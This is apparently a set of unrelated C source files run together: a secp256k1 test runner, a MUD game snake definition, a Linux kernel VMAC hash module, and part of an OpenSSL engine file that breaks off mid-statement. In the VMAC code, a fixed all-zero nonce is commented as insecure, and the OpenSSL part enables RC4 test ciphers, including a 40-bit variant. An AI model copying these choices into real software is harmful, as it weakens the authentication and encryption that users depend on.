run_hmac_sha256_tests(); run_rfc6979_hmac_sha256_tests(); #ifndef USE_NUM_NONE /* num tests */ run_num_smalltests(); #endif /* scalar tests */ run_scalar_tests(); /* field tests */ run_field_inv(); run_field_inv_var(); run_field_inv_all_var(); run_field_misc(); run_field_convert(); run_sqr(); run_sqrt(); /* group tests */ run_ge(); run_group_decompress(); /* ecmult tests */ run_wnaf(); run_point_times_order(); run_ecmult_chain(); run_ecmult_constants(); run_ecmult_gen_blind(); run_ecmult_const_tests(); run_ec_combine(); /* endomorphism tests */ #ifdef USE_ENDOMORPHISM run_endomorphism_tests(); #endif /* EC point parser test */ run_ec_pubkey_parse_test(); /* EC key edge cases */ run_eckey_edge_case_test(); #ifdef ENABLE_MODULE_ECDH /* ecdh tests */ run_ecdh_tests(); #endif /* ecdsa tests */ run_random_pubkeys(); run_ecdsa_der_parse(); run_ecdsa_sign_verify(); run_ecdsa_end_to_end(); run_ecdsa_edge_cases(); #ifdef ENABLE_OPENSSL_TESTS run_ecdsa_openssl(); #endif #ifdef ENABLE_MODULE_MUSIG run_musig_tests(); #endif #ifdef ENABLE_MODULE_RECOVERY /* ECDSA pubkey recovery tests */ run_recovery_tests(); #endif secp256k1_rand256(run32); printf("random run = %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\n", run32[0], run32[1], run32[2], run32[3], run32[4], run32[5], run32[6], run32[7], run32[8], run32[9], run32[10], run32[11], run32[12], run32[13], run32[14], run32[15]); /* shutdown */ secp256k1_context_destroy(ctx); printf("no problems found\n"); return 0; }
610578.c
#include <ansi.h> inherit SNAKE; void create() { set_name(NOR + RED "眼鏡王蛇" NOR, ({ "yanjing wangshe", "yanjing", "wangshe", "she" })); set("long", RED "這是一條五彩斑斕的眼鏡王蛇,毒性為萬蛇之最。\n" NOR); set("age", 3); set("str", 35); set("dex", 50); set("max_qi", 2200); set("max_ging", 2200); set("combat_exp", 500000); set("snake_poison", ([ "level" : 200, "perhit" : 60, "remain" : 100, "maximum": 100, "supply" : 5, ])); set("power", 35); set("item1", "/clone/quarry/item/sherou"); set("item2", "/clone/herb/shedan"); set_temp("apply/parry", 150); set_temp("apply/dodge", 150); set_temp("apply/attack", 150); set_temp("apply/defense", 180); set_temp("apply/unarmed_damage", 180); set_temp("apply/armor", 180); setup(); }
378767.c
/* * VMAC: Message Authentication Code using Universal Hashing * * Reference: https://tools.ietf.org/html/draft-krovetz-vmac-01 * * Copyright (c) 2009, Intel Corporation. * Copyright (c) 2018, Google Inc. * * This program is free software; you can redistribute it and/or modify it * under the terms and conditions of the GNU General Public License, * version 2, as published by the Free Software Foundation. * * This program is distributed in the hope it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 59 Temple * Place - Suite 330, Boston, MA 02111-1307 USA. */ /* * Derived from: * VMAC and VHASH Implementation by Ted Krovetz ([email protected]) and Wei Dai. * This implementation is herby placed in the public domain. * The authors offers no warranty. Use at your own risk. * Last modified: 17 APR 08, 1700 PDT */ #include <asm/unaligned.h> #include <linux/init.h> #include <linux/types.h> #include <linux/crypto.h> #include <linux/module.h> #include <linux/scatterlist.h> #include <asm/byteorder.h> #include <crypto/scatterwalk.h> #include <crypto/internal/hash.h> /* * User definable settings. */ #define VMAC_TAG_LEN 64 #define VMAC_KEY_SIZE 128/* Must be 128, 192 or 256 */ #define VMAC_KEY_LEN (VMAC_KEY_SIZE/8) #define VMAC_NHBYTES 128/* Must 2^i for any 3 < i < 13 Standard = 128*/ /* per-transform (per-key) context */ struct vmac_tfm_ctx { struct crypto_cipher *cipher; u64 nhkey[(VMAC_NHBYTES/8)+2*(VMAC_TAG_LEN/64-1)]; u64 polykey[2*VMAC_TAG_LEN/64]; u64 l3key[2*VMAC_TAG_LEN/64]; }; /* per-request context */ struct vmac_desc_ctx { union { u8 partial[VMAC_NHBYTES]; /* partial block */ __le64 partial_words[VMAC_NHBYTES / 8]; }; unsigned int partial_size; /* size of the partial block */ bool first_block_processed; u64 polytmp[2*VMAC_TAG_LEN/64]; /* running total of L2-hash */ }; /* * Constants and masks */ #define UINT64_C(x) x##ULL static const u64 p64 = UINT64_C(0xfffffffffffffeff); /* 2^64 - 257 prime */ static const u64 m62 = UINT64_C(0x3fffffffffffffff); /* 62-bit mask */ static const u64 m63 = UINT64_C(0x7fffffffffffffff); /* 63-bit mask */ static const u64 m64 = UINT64_C(0xffffffffffffffff); /* 64-bit mask */ static const u64 mpoly = UINT64_C(0x1fffffff1fffffff); /* Poly key mask */ #define pe64_to_cpup le64_to_cpup /* Prefer little endian */ #ifdef __LITTLE_ENDIAN #define INDEX_HIGH 1 #define INDEX_LOW 0 #else #define INDEX_HIGH 0 #define INDEX_LOW 1 #endif /* * The following routines are used in this implementation. They are * written via macros to simulate zero-overhead call-by-reference. * * MUL64: 64x64->128-bit multiplication * PMUL64: assumes top bits cleared on inputs * ADD128: 128x128->128-bit addition */ #define ADD128(rh, rl, ih, il) \ do { \ u64 _il = (il); \ (rl) += (_il); \ if ((rl) < (_il)) \ (rh)++; \ (rh) += (ih); \ } while (0) #define MUL32(i1, i2) ((u64)(u32)(i1)*(u32)(i2)) #define PMUL64(rh, rl, i1, i2) /* Assumes m doesn't overflow */ \ do { \ u64 _i1 = (i1), _i2 = (i2); \ u64 m = MUL32(_i1, _i2>>32) + MUL32(_i1>>32, _i2); \ rh = MUL32(_i1>>32, _i2>>32); \ rl = MUL32(_i1, _i2); \ ADD128(rh, rl, (m >> 32), (m << 32)); \ } while (0) #define MUL64(rh, rl, i1, i2) \ do { \ u64 _i1 = (i1), _i2 = (i2); \ u64 m1 = MUL32(_i1, _i2>>32); \ u64 m2 = MUL32(_i1>>32, _i2); \ rh = MUL32(_i1>>32, _i2>>32); \ rl = MUL32(_i1, _i2); \ ADD128(rh, rl, (m1 >> 32), (m1 << 32)); \ ADD128(rh, rl, (m2 >> 32), (m2 << 32)); \ } while (0) /* * For highest performance the L1 NH and L2 polynomial hashes should be * carefully implemented to take advantage of one's target architecture. * Here these two hash functions are defined multiple time; once for * 64-bit architectures, once for 32-bit SSE2 architectures, and once * for the rest (32-bit) architectures. * For each, nh_16 *must* be defined (works on multiples of 16 bytes). * Optionally, nh_vmac_nhbytes can be defined (for multiples of * VMAC_NHBYTES), and nh_16_2 and nh_vmac_nhbytes_2 (versions that do two * NH computations at once). */ #ifdef CONFIG_64BIT #define nh_16(mp, kp, nw, rh, rl) \ do { \ int i; u64 th, tl; \ rh = rl = 0; \ for (i = 0; i < nw; i += 2) { \ MUL64(th, tl, pe64_to_cpup((mp)+i)+(kp)[i], \ pe64_to_cpup((mp)+i+1)+(kp)[i+1]); \ ADD128(rh, rl, th, tl); \ } \ } while (0) #define nh_16_2(mp, kp, nw, rh, rl, rh1, rl1) \ do { \ int i; u64 th, tl; \ rh1 = rl1 = rh = rl = 0; \ for (i = 0; i < nw; i += 2) { \ MUL64(th, tl, pe64_to_cpup((mp)+i)+(kp)[i], \ pe64_to_cpup((mp)+i+1)+(kp)[i+1]); \ ADD128(rh, rl, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i)+(kp)[i+2], \ pe64_to_cpup((mp)+i+1)+(kp)[i+3]); \ ADD128(rh1, rl1, th, tl); \ } \ } while (0) #if (VMAC_NHBYTES >= 64) /* These versions do 64-bytes of message at a time */ #define nh_vmac_nhbytes(mp, kp, nw, rh, rl) \ do { \ int i; u64 th, tl; \ rh = rl = 0; \ for (i = 0; i < nw; i += 8) { \ MUL64(th, tl, pe64_to_cpup((mp)+i)+(kp)[i], \ pe64_to_cpup((mp)+i+1)+(kp)[i+1]); \ ADD128(rh, rl, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i+2)+(kp)[i+2], \ pe64_to_cpup((mp)+i+3)+(kp)[i+3]); \ ADD128(rh, rl, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i+4)+(kp)[i+4], \ pe64_to_cpup((mp)+i+5)+(kp)[i+5]); \ ADD128(rh, rl, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i+6)+(kp)[i+6], \ pe64_to_cpup((mp)+i+7)+(kp)[i+7]); \ ADD128(rh, rl, th, tl); \ } \ } while (0) #define nh_vmac_nhbytes_2(mp, kp, nw, rh, rl, rh1, rl1) \ do { \ int i; u64 th, tl; \ rh1 = rl1 = rh = rl = 0; \ for (i = 0; i < nw; i += 8) { \ MUL64(th, tl, pe64_to_cpup((mp)+i)+(kp)[i], \ pe64_to_cpup((mp)+i+1)+(kp)[i+1]); \ ADD128(rh, rl, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i)+(kp)[i+2], \ pe64_to_cpup((mp)+i+1)+(kp)[i+3]); \ ADD128(rh1, rl1, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i+2)+(kp)[i+2], \ pe64_to_cpup((mp)+i+3)+(kp)[i+3]); \ ADD128(rh, rl, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i+2)+(kp)[i+4], \ pe64_to_cpup((mp)+i+3)+(kp)[i+5]); \ ADD128(rh1, rl1, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i+4)+(kp)[i+4], \ pe64_to_cpup((mp)+i+5)+(kp)[i+5]); \ ADD128(rh, rl, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i+4)+(kp)[i+6], \ pe64_to_cpup((mp)+i+5)+(kp)[i+7]); \ ADD128(rh1, rl1, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i+6)+(kp)[i+6], \ pe64_to_cpup((mp)+i+7)+(kp)[i+7]); \ ADD128(rh, rl, th, tl); \ MUL64(th, tl, pe64_to_cpup((mp)+i+6)+(kp)[i+8], \ pe64_to_cpup((mp)+i+7)+(kp)[i+9]); \ ADD128(rh1, rl1, th, tl); \ } \ } while (0) #endif #define poly_step(ah, al, kh, kl, mh, ml) \ do { \ u64 t1h, t1l, t2h, t2l, t3h, t3l, z = 0; \ /* compute ab*cd, put bd into result registers */ \ PMUL64(t3h, t3l, al, kh); \ PMUL64(t2h, t2l, ah, kl); \ PMUL64(t1h, t1l, ah, 2*kh); \ PMUL64(ah, al, al, kl); \ /* add 2 * ac to result */ \ ADD128(ah, al, t1h, t1l); \ /* add together ad + bc */ \ ADD128(t2h, t2l, t3h, t3l); \ /* now (ah,al), (t2l,2*t2h) need summing */ \ /* first add the high registers, carrying into t2h */ \ ADD128(t2h, ah, z, t2l); \ /* double t2h and add top bit of ah */ \ t2h = 2 * t2h + (ah >> 63); \ ah &= m63; \ /* now add the low registers */ \ ADD128(ah, al, mh, ml); \ ADD128(ah, al, z, t2h); \ } while (0) #else /* ! CONFIG_64BIT */ #ifndef nh_16 #define nh_16(mp, kp, nw, rh, rl) \ do { \ u64 t1, t2, m1, m2, t; \ int i; \ rh = rl = t = 0; \ for (i = 0; i < nw; i += 2) { \ t1 = pe64_to_cpup(mp+i) + kp[i]; \ t2 = pe64_to_cpup(mp+i+1) + kp[i+1]; \ m2 = MUL32(t1 >> 32, t2); \ m1 = MUL32(t1, t2 >> 32); \ ADD128(rh, rl, MUL32(t1 >> 32, t2 >> 32), \ MUL32(t1, t2)); \ rh += (u64)(u32)(m1 >> 32) \ + (u32)(m2 >> 32); \ t += (u64)(u32)m1 + (u32)m2; \ } \ ADD128(rh, rl, (t >> 32), (t << 32)); \ } while (0) #endif static void poly_step_func(u64 *ahi, u64 *alo, const u64 *kh, const u64 *kl, const u64 *mh, const u64 *ml) { #define a0 (*(((u32 *)alo)+INDEX_LOW)) #define a1 (*(((u32 *)alo)+INDEX_HIGH)) #define a2 (*(((u32 *)ahi)+INDEX_LOW)) #define a3 (*(((u32 *)ahi)+INDEX_HIGH)) #define k0 (*(((u32 *)kl)+INDEX_LOW)) #define k1 (*(((u32 *)kl)+INDEX_HIGH)) #define k2 (*(((u32 *)kh)+INDEX_LOW)) #define k3 (*(((u32 *)kh)+INDEX_HIGH)) u64 p, q, t; u32 t2; p = MUL32(a3, k3); p += p; p += *(u64 *)mh; p += MUL32(a0, k2); p += MUL32(a1, k1); p += MUL32(a2, k0); t = (u32)(p); p >>= 32; p += MUL32(a0, k3); p += MUL32(a1, k2); p += MUL32(a2, k1); p += MUL32(a3, k0); t |= ((u64)((u32)p & 0x7fffffff)) << 32; p >>= 31; p += (u64)(((u32 *)ml)[INDEX_LOW]); p += MUL32(a0, k0); q = MUL32(a1, k3); q += MUL32(a2, k2); q += MUL32(a3, k1); q += q; p += q; t2 = (u32)(p); p >>= 32; p += (u64)(((u32 *)ml)[INDEX_HIGH]); p += MUL32(a0, k1); p += MUL32(a1, k0); q = MUL32(a2, k3); q += MUL32(a3, k2); q += q; p += q; *(u64 *)(alo) = (p << 32) | t2; p >>= 32; *(u64 *)(ahi) = p + t; #undef a0 #undef a1 #undef a2 #undef a3 #undef k0 #undef k1 #undef k2 #undef k3 } #define poly_step(ah, al, kh, kl, mh, ml) \ poly_step_func(&(ah), &(al), &(kh), &(kl), &(mh), &(ml)) #endif /* end of specialized NH and poly definitions */ /* At least nh_16 is defined. Defined others as needed here */ #ifndef nh_16_2 #define nh_16_2(mp, kp, nw, rh, rl, rh2, rl2) \ do { \ nh_16(mp, kp, nw, rh, rl); \ nh_16(mp, ((kp)+2), nw, rh2, rl2); \ } while (0) #endif #ifndef nh_vmac_nhbytes #define nh_vmac_nhbytes(mp, kp, nw, rh, rl) \ nh_16(mp, kp, nw, rh, rl) #endif #ifndef nh_vmac_nhbytes_2 #define nh_vmac_nhbytes_2(mp, kp, nw, rh, rl, rh2, rl2) \ do { \ nh_vmac_nhbytes(mp, kp, nw, rh, rl); \ nh_vmac_nhbytes(mp, ((kp)+2), nw, rh2, rl2); \ } while (0) #endif static u64 l3hash(u64 p1, u64 p2, u64 k1, u64 k2, u64 len) { u64 rh, rl, t, z = 0; /* fully reduce (p1,p2)+(len,0) mod p127 */ t = p1 >> 63; p1 &= m63; ADD128(p1, p2, len, t); /* At this point, (p1,p2) is at most 2^127+(len<<64) */ t = (p1 > m63) + ((p1 == m63) && (p2 == m64)); ADD128(p1, p2, z, t); p1 &= m63; /* compute (p1,p2)/(2^64-2^32) and (p1,p2)%(2^64-2^32) */ t = p1 + (p2 >> 32); t += (t >> 32); t += (u32)t > 0xfffffffeu; p1 += (t >> 32); p2 += (p1 << 32); /* compute (p1+k1)%p64 and (p2+k2)%p64 */ p1 += k1; p1 += (0 - (p1 < k1)) & 257; p2 += k2; p2 += (0 - (p2 < k2)) & 257; /* compute (p1+k1)*(p2+k2)%p64 */ MUL64(rh, rl, p1, p2); t = rh >> 56; ADD128(t, rl, z, rh); rh <<= 8; ADD128(t, rl, z, rh); t += t << 8; rl += t; rl += (0 - (rl < t)) & 257; rl += (0 - (rl > p64-1)) & 257; return rl; } /* L1 and L2-hash one or more VMAC_NHBYTES-byte blocks */ static void vhash_blocks(const struct vmac_tfm_ctx *tctx, struct vmac_desc_ctx *dctx, const __le64 *mptr, unsigned int blocks) { const u64 *kptr = tctx->nhkey; const u64 pkh = tctx->polykey[0]; const u64 pkl = tctx->polykey[1]; u64 ch = dctx->polytmp[0]; u64 cl = dctx->polytmp[1]; u64 rh, rl; if (!dctx->first_block_processed) { dctx->first_block_processed = true; nh_vmac_nhbytes(mptr, kptr, VMAC_NHBYTES/8, rh, rl); rh &= m62; ADD128(ch, cl, rh, rl); mptr += (VMAC_NHBYTES/sizeof(u64)); blocks--; } while (blocks--) { nh_vmac_nhbytes(mptr, kptr, VMAC_NHBYTES/8, rh, rl); rh &= m62; poly_step(ch, cl, pkh, pkl, rh, rl); mptr += (VMAC_NHBYTES/sizeof(u64)); } dctx->polytmp[0] = ch; dctx->polytmp[1] = cl; } static int vmac_setkey(struct crypto_shash *tfm, const u8 *key, unsigned int keylen) { struct vmac_tfm_ctx *tctx = crypto_shash_ctx(tfm); __be64 out[2]; u8 in[16] = { 0 }; unsigned int i; int err; if (keylen != VMAC_KEY_LEN) { crypto_shash_set_flags(tfm, CRYPTO_TFM_RES_BAD_KEY_LEN); return -EINVAL; } err = crypto_cipher_setkey(tctx->cipher, key, keylen); if (err) return err; /* Fill nh key */ in[0] = 0x80; for (i = 0; i < ARRAY_SIZE(tctx->nhkey); i += 2) { crypto_cipher_encrypt_one(tctx->cipher, (u8 *)out, in); tctx->nhkey[i] = be64_to_cpu(out[0]); tctx->nhkey[i+1] = be64_to_cpu(out[1]); in[15]++; } /* Fill poly key */ in[0] = 0xC0; in[15] = 0; for (i = 0; i < ARRAY_SIZE(tctx->polykey); i += 2) { crypto_cipher_encrypt_one(tctx->cipher, (u8 *)out, in); tctx->polykey[i] = be64_to_cpu(out[0]) & mpoly; tctx->polykey[i+1] = be64_to_cpu(out[1]) & mpoly; in[15]++; } /* Fill ip key */ in[0] = 0xE0; in[15] = 0; for (i = 0; i < ARRAY_SIZE(tctx->l3key); i += 2) { do { crypto_cipher_encrypt_one(tctx->cipher, (u8 *)out, in); tctx->l3key[i] = be64_to_cpu(out[0]); tctx->l3key[i+1] = be64_to_cpu(out[1]); in[15]++; } while (tctx->l3key[i] >= p64 || tctx->l3key[i+1] >= p64); } return 0; } static int vmac_init(struct shash_desc *desc) { const struct vmac_tfm_ctx *tctx = crypto_shash_ctx(desc->tfm); struct vmac_desc_ctx *dctx = shash_desc_ctx(desc); dctx->partial_size = 0; dctx->first_block_processed = false; memcpy(dctx->polytmp, tctx->polykey, sizeof(dctx->polytmp)); return 0; } static int vmac_update(struct shash_desc *desc, const u8 *p, unsigned int len) { const struct vmac_tfm_ctx *tctx = crypto_shash_ctx(desc->tfm); struct vmac_desc_ctx *dctx = shash_desc_ctx(desc); unsigned int n; if (dctx->partial_size) { n = min(len, VMAC_NHBYTES - dctx->partial_size); memcpy(&dctx->partial[dctx->partial_size], p, n); dctx->partial_size += n; p += n; len -= n; if (dctx->partial_size == VMAC_NHBYTES) { vhash_blocks(tctx, dctx, dctx->partial_words, 1); dctx->partial_size = 0; } } if (len >= VMAC_NHBYTES) { n = round_down(len, VMAC_NHBYTES); /* TODO: 'p' may be misaligned here */ vhash_blocks(tctx, dctx, (const __le64 *)p, n / VMAC_NHBYTES); p += n; len -= n; } if (len) { memcpy(dctx->partial, p, len); dctx->partial_size = len; } return 0; } static u64 vhash_final(const struct vmac_tfm_ctx *tctx, struct vmac_desc_ctx *dctx) { unsigned int partial = dctx->partial_size; u64 ch = dctx->polytmp[0]; u64 cl = dctx->polytmp[1]; /* L1 and L2-hash the final block if needed */ if (partial) { /* Zero-pad to next 128-bit boundary */ unsigned int n = round_up(partial, 16); u64 rh, rl; memset(&dctx->partial[partial], 0, n - partial); nh_16(dctx->partial_words, tctx->nhkey, n / 8, rh, rl); rh &= m62; if (dctx->first_block_processed) poly_step(ch, cl, tctx->polykey[0], tctx->polykey[1], rh, rl); else ADD128(ch, cl, rh, rl); } /* L3-hash the 128-bit output of L2-hash */ return l3hash(ch, cl, tctx->l3key[0], tctx->l3key[1], partial * 8); } static int vmac_final(struct shash_desc *desc, u8 *out) { const struct vmac_tfm_ctx *tctx = crypto_shash_ctx(desc->tfm); struct vmac_desc_ctx *dctx = shash_desc_ctx(desc); static const u8 nonce[16] = {}; /* TODO: this is insecure */ union { u8 bytes[16]; __be64 pads[2]; } block; int index; u64 hash, pad; /* Finish calculating the VHASH of the message */ hash = vhash_final(tctx, dctx); /* Generate pseudorandom pad by encrypting the nonce */ memcpy(&block, nonce, 16); index = block.bytes[15] & 1; block.bytes[15] &= ~1; crypto_cipher_encrypt_one(tctx->cipher, block.bytes, block.bytes); pad = be64_to_cpu(block.pads[index]); /* The VMAC is the sum of VHASH and the pseudorandom pad */ put_unaligned_le64(hash + pad, out); return 0; } static int vmac_init_tfm(struct crypto_tfm *tfm) { struct crypto_instance *inst = crypto_tfm_alg_instance(tfm); struct crypto_spawn *spawn = crypto_instance_ctx(inst); struct vmac_tfm_ctx *tctx = crypto_tfm_ctx(tfm); struct crypto_cipher *cipher; cipher = crypto_spawn_cipher(spawn); if (IS_ERR(cipher)) return PTR_ERR(cipher); tctx->cipher = cipher; return 0; } static void vmac_exit_tfm(struct crypto_tfm *tfm) { struct vmac_tfm_ctx *tctx = crypto_tfm_ctx(tfm); crypto_free_cipher(tctx->cipher); } static int vmac_create(struct crypto_template *tmpl, struct rtattr **tb) { struct shash_instance *inst; struct crypto_alg *alg; int err; err = crypto_check_attr_type(tb, CRYPTO_ALG_TYPE_SHASH); if (err) return err; alg = crypto_get_attr_alg(tb, CRYPTO_ALG_TYPE_CIPHER, CRYPTO_ALG_TYPE_MASK); if (IS_ERR(alg)) return PTR_ERR(alg); err = -EINVAL; if (alg->cra_blocksize != 16) goto out_put_alg; inst = shash_alloc_instance("vmac", alg); err = PTR_ERR(inst); if (IS_ERR(inst)) goto out_put_alg; err = crypto_init_spawn(shash_instance_ctx(inst), alg, shash_crypto_instance(inst), CRYPTO_ALG_TYPE_MASK); if (err) goto out_free_inst; inst->alg.base.cra_priority = alg->cra_priority; inst->alg.base.cra_blocksize = alg->cra_blocksize; inst->alg.base.cra_alignmask = alg->cra_alignmask; inst->alg.base.cra_ctxsize = sizeof(struct vmac_tfm_ctx); inst->alg.base.cra_init = vmac_init_tfm; inst->alg.base.cra_exit = vmac_exit_tfm; inst->alg.descsize = sizeof(struct vmac_desc_ctx); inst->alg.digestsize = VMAC_TAG_LEN / 8; inst->alg.init = vmac_init; inst->alg.update = vmac_update; inst->alg.final = vmac_final; inst->alg.setkey = vmac_setkey; err = shash_register_instance(tmpl, inst); if (err) { out_free_inst: shash_free_instance(shash_crypto_instance(inst)); } out_put_alg: crypto_mod_put(alg); return err; } static struct crypto_template vmac_tmpl = { .name = "vmac", .create = vmac_create, .free = shash_free_instance, .module = THIS_MODULE, }; static int __init vmac_module_init(void) { return crypto_register_template(&vmac_tmpl); } static void __exit vmac_module_exit(void) { crypto_unregister_template(&vmac_tmpl); } module_init(vmac_module_init); module_exit(vmac_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("VMAC hash algorithm"); MODULE_ALIAS_CRYPTO("vmac");
256054.c
/* * Copyright 2001-2018 The OpenSSL Project Authors. All Rights Reserved. * Copyright (c) 2002, Oracle and/or its affiliates. All rights reserved * * Licensed under the Apache License 2.0 (the "License"). You may not use * this file except in compliance with the License. You can obtain a copy * in the file LICENSE in the source distribution or at * https://www.openssl.org/source/license.html */ /* * RC4 and SHA-1 low level APIs are deprecated for public use, but still ok * for internal use. */ #include "internal/deprecated.h" #include <stdio.h> #include <openssl/crypto.h> #include "internal/cryptlib.h" #include "crypto/engine.h" #include <openssl/pem.h> #include <openssl/evp.h> #include <openssl/rand.h> #include <openssl/rsa.h> #include <openssl/dsa.h> #include <openssl/dh.h> #include <openssl/hmac.h> #include <openssl/x509v3.h> /* * This testing gunk is implemented (and explained) lower down. It also * assumes the application explicitly calls "ENGINE_load_openssl()" because * this is no longer automatic in ENGINE_load_builtin_engines(). */ #define TEST_ENG_OPENSSL_RC4 #ifndef OPENSSL_NO_STDIO # define TEST_ENG_OPENSSL_PKEY #endif /* #define TEST_ENG_OPENSSL_HMAC */ /* #define TEST_ENG_OPENSSL_HMAC_INIT */ /* #define TEST_ENG_OPENSSL_RC4_OTHERS */ #ifndef OPENSSL_NO_STDIO # define TEST_ENG_OPENSSL_RC4_P_INIT #endif /* #define TEST_ENG_OPENSSL_RC4_P_CIPHER */ #define TEST_ENG_OPENSSL_SHA /* #define TEST_ENG_OPENSSL_SHA_OTHERS */ /* #define TEST_ENG_OPENSSL_SHA_P_INIT */ /* #define TEST_ENG_OPENSSL_SHA_P_UPDATE */ /* #define TEST_ENG_OPENSSL_SHA_P_FINAL */ /* Now check what of those algorithms are actually enabled */ #ifdef OPENSSL_NO_RC4 # undef TEST_ENG_OPENSSL_RC4 # undef TEST_ENG_OPENSSL_RC4_OTHERS # undef TEST_ENG_OPENSSL_RC4_P_INIT # undef TEST_ENG_OPENSSL_RC4_P_CIPHER #endif static int openssl_destroy(ENGINE *e); #ifdef TEST_ENG_OPENSSL_RC4 static int openssl_ciphers(ENGINE *e, const EVP_CIPHER **cipher, const int **nids, int nid); #endif #ifdef TEST_ENG_OPENSSL_SHA static int openssl_digests(ENGINE *e, const EVP_MD **digest, const int **nids, int nid); #endif #ifdef TEST_ENG_OPENSSL_PKEY static EVP_PKEY *openssl_load_privkey(ENGINE *eng, const char *key_id, UI_METHOD *ui_method, void *callback_data); #endif #ifdef TEST_ENG_OPENSSL_HMAC static int ossl_register_hmac_meth(void); static int ossl_pkey_meths(ENGINE *e, EVP_PKEY_METHOD **pmeth, const int **nids, int nid); #endif /* The constants used when creating the ENGINE */ static const char *engine_openssl_id = "openssl"; static const char *engine_openssl_name = "Software engine support"; /* * This internal function is used by ENGINE_openssl() and possibly by the * "dynamic" ENGINE support too */ static int bind_helper(ENGINE *e) { if (!ENGINE_set_id(e, engine_openssl_id) || !ENGINE_set_name(e, engine_openssl_name) || !ENGINE_set_destroy_function(e, openssl_destroy) #ifndef TEST_ENG_OPENSSL_NO_ALGORITHMS # ifndef OPENSSL_NO_RSA || !ENGINE_set_RSA(e, RSA_get_default_method()) # endif # ifndef OPENSSL_NO_DSA || !ENGINE_set_DSA(e, DSA_get_default_method()) # endif # ifndef OPENSSL_NO_EC || !ENGINE_set_EC(e, EC_KEY_OpenSSL()) # endif # ifndef OPENSSL_NO_DH || !ENGINE_set_DH(e, DH_get_default_method()) # endif || !ENGINE_set_RAND(e, RAND_OpenSSL()) # ifdef TEST_ENG_OPENSSL_RC4 || !ENGINE_set_ciphers(e, openssl_ciphers) # endif # ifdef TEST_ENG_OPENSSL_SHA || !ENGINE_set_digests(e, openssl_digests) # endif #endif #ifdef TEST_ENG_OPENSSL_PKEY || !ENGINE_set_load_privkey_function(e, openssl_load_privkey) #endif #ifdef TEST_ENG_OPENSSL_HMAC || !ossl_register_hmac_meth() || !ENGINE_set_pkey_meths(e, ossl_pkey_meths) #endif ) return 0; /* * If we add errors to this ENGINE, ensure the error handling is setup * here */ /* openssl_load_error_strings(); */ return 1; } static ENGINE *engine_openssl(void) { ENGINE *ret = ENGINE_new(); if (ret == NULL) return NULL; if (!bind_helper(ret)) { ENGINE_free(ret); return NULL; } return ret; } void engine_load_openssl_int(void) { ENGINE *toadd = engine_openssl(); if (!toadd) return; ENGINE_add(toadd); /* * If the "add" worked, it gets a structural reference. So either way, we * release our just-created reference. */ ENGINE_free(toadd); ERR_clear_error(); } /* * This stuff is needed if this ENGINE is being compiled into a * self-contained shared-library. */ #ifdef ENGINE_DYNAMIC_SUPPORT static int bind_fn(ENGINE *e, const char *id) { if (id && (strcmp(id, engine_openssl_id) != 0)) return 0; if (!bind_helper(e)) return 0; return 1; } IMPLEMENT_DYNAMIC_CHECK_FN() IMPLEMENT_DYNAMIC_BIND_FN(bind_fn) #endif /* ENGINE_DYNAMIC_SUPPORT */ #ifdef TEST_ENG_OPENSSL_RC4 /*- * This section of code compiles an "alternative implementation" of two modes of * RC4 into this ENGINE. The result is that EVP_CIPHER operation for "rc4" * should under normal circumstances go via this support rather than the default * EVP support. There are other symbols to tweak the testing; * TEST_ENC_OPENSSL_RC4_OTHERS - print a one line message to stderr each time * we're asked for a cipher we don't support (should not happen). * TEST_ENG_OPENSSL_RC4_P_INIT - print a one line message to stderr each time * the "init_key" handler is called. * TEST_ENG_OPENSSL_RC4_P_CIPHER - ditto for the "cipher" handler. */ # include <openssl/rc4.h> # define TEST_RC4_KEY_SIZE 16 typedef struct { unsigned char key[TEST_RC4_KEY_SIZE]; RC4_KEY ks; } TEST_RC4_KEY; # define test(ctx) ((TEST_RC4_KEY *)EVP_CIPHER_CTX_get_cipher_data(ctx)) static int test_rc4_init_key(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc) { const int n = EVP_CIPHER_CTX_key_length(ctx); # ifdef TEST_ENG_OPENSSL_RC4_P_INIT fprintf(stderr, "(TEST_ENG_OPENSSL_RC4) test_init_key() called\n"); # endif if (n <= 0) return n; memcpy(&test(ctx)->key[0], key, n); RC4_set_key(&test(ctx)->ks, n, test(ctx)->key); return 1; } static int test_rc4_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, size_t inl) { # ifdef TEST_ENG_OPENSSL_RC4_P_CIPHER fprintf(stderr, "(TEST_ENG_OPENSSL_RC4) test_cipher() called\n"); # endif RC4(&test(ctx)->ks, inl, in, out); return 1; } static EVP_CIPHER *r4_cipher = NULL; static const EVP_CIPHER *test_r4_cipher(void) { if (r4_cipher == NULL) { EVP_CIPHER *cipher; if ((cipher = EVP_CIPHER_meth_new(NID_rc4, 1, TEST_RC4_KEY_SIZE)) == NULL || !EVP_CIPHER_meth_set_iv_length(cipher, 0) || !EVP_CIPHER_meth_set_flags(cipher, EVP_CIPH_VARIABLE_LENGTH) || !EVP_CIPHER_meth_set_init(cipher, test_rc4_init_key) || !EVP_CIPHER_meth_set_do_cipher(cipher, test_rc4_cipher) || !EVP_CIPHER_meth_set_impl_ctx_size(cipher, sizeof(TEST_RC4_KEY))) { EVP_CIPHER_meth_free(cipher); cipher = NULL; } r4_cipher = cipher; } return r4_cipher; } static void test_r4_cipher_destroy(void) { EVP_CIPHER_meth_free(r4_cipher); r4_cipher = NULL; } static EVP_CIPHER *r4_40_cipher = NULL; static const EVP_CIPHER *test_r4_40_cipher(void) { if (r4_40_cipher == NULL) { EVP_CIPHER *cipher; if ((cipher = EVP_CIPHER_meth_new(NID_rc4, 1, 5 /* 40 bits */)) 